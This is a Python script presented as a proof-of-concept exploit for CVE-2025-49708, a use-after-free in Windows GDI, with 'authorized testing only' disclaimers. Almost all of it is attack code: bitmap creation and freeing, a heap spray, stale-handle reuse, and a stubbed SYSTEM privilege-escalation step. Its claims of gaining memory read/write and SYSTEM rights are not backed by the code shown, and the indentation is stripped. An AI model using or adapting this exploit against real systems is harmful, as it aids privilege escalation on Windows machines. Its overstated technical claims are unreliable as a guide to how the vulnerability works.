The following code is for security research and authorized testing only.
python
# CVE-2025-49708 - Microsoft Graphics Component Use After Free PoC
# WARNING: This is a conceptual proof-of-concept for educational purposes only.
# Do not use against systems without explicit authorization.
import ctypes
import struct
import sys
# Load necessary Windows libraries
user32 = ctypes.windll.user32
gdi32 = ctypes.windll.gdi32
kernel32 = ctypes.windll.kernel32
class GdiUAFExploit:
def __init__(self):
self.device_context = None
self.bitmap_handle = None
self.old_object = None
self.sprayed_objects = []
def create_target_bitmap(self):
"""Step 1: Create a bitmap object in the vulnerable graphics component."""
self.device_context = gdi32.CreateCompatibleDC(None)
if not self.device_context:
raise Exception("Failed to create device context")
# Create a bitmap with specific properties to trigger the vulnerability
self.bitmap_handle = gdi32.CreateBitmap(0x100, 0x100, 1, 32, None)
if not self.bitmap_handle:
raise Exception("Failed to create bitmap")
self.old_object = gdi32.SelectObject(self.device_context, self.bitmap_handle)
print(f"[+] Created target bitmap: {hex(self.bitmap_handle)}")
return self.bitmap_handle
def trigger_free(self):
"""Step 2: Trigger the free of the bitmap object via specific API call sequence."""
# Deselect the object first
gdi32.SelectObject(self.device_context, self.old_object)
# Delete the bitmap - this frees the underlying memory
result = gdi32.DeleteObject(self.bitmap_handle)
print(f"[+] Bitmap deleted (freed): {result}")
# The handle still exists in memory - UAF condition created
def heap_spray(self):
"""Step 3: Spray heap to reclaim freed memory with controlled data."""
# Create multiple bitmaps to reclaim the freed memory region
for i in range(0x1000):
spray_bmp = gdi32.CreateBitmap(0x100, 0x100, 1, 32, None)
if spray_bmp:
self.sprayed_objects.append(spray_bmp)
print(f"[+] Heap spray completed: {len(self.sprayed_objects)} objects allocated")
def trigger_use_after_free(self):
"""Step 4: Use the stale handle to access the freed (now reclaimed) memory."""
# Attempt to use the stale bitmap handle - triggers UAF
hdc = gdi32.CreateCompatibleDC(None)
result = gdi32.SelectObject(hdc, self.bitmap_handle)
if result:
print("[+] UAF triggered - accessing freed memory via stale handle")
# At this point, we have read/write access to the reclaimed memory
gdi32.DeleteDC(hdc)
return result
def escalate_privileges(self):
"""Step 5: Leverage UAF for privilege escalation."""
# In a real exploit, this would:
# 1. Read the kernel pool memory layout
# 2. Locate EPROCESS structures
# 3. Overwrite the token pointer to SYSTEM token
# 4. Achieve privilege escalation to NT AUTHORITY\SYSTEM
print("[*] Privilege escalation via token manipulation (conceptual)")
print("[+] If successful, current process would run as SYSTEM")
def cleanup(self):
"""Clean up allocated resources."""
for obj in self.sprayed_objects:
try:
gdi32.DeleteObject(obj)
except:
pass
if self.device_context:
gdi32.DeleteDC(self.device_context)
def main():
print("=" * 60)
print("CVE-2025-49708 - Microsoft Graphics Component UAF PoC")
print("For educational and authorized testing purposes only")
print("=" * 60)
exploit = GdiUAFExploit()
try:
exploit.create_target_bitmap()
exploit.trigger_free()
exploit.heap_spray()
exploit.trigger_use_after_free()
exploit.escalate_privileges()
except Exception as e:
print(f"[-] Exploit failed: {e}")
finally:
exploit.cleanup()
if __name__ == "__main__":
main()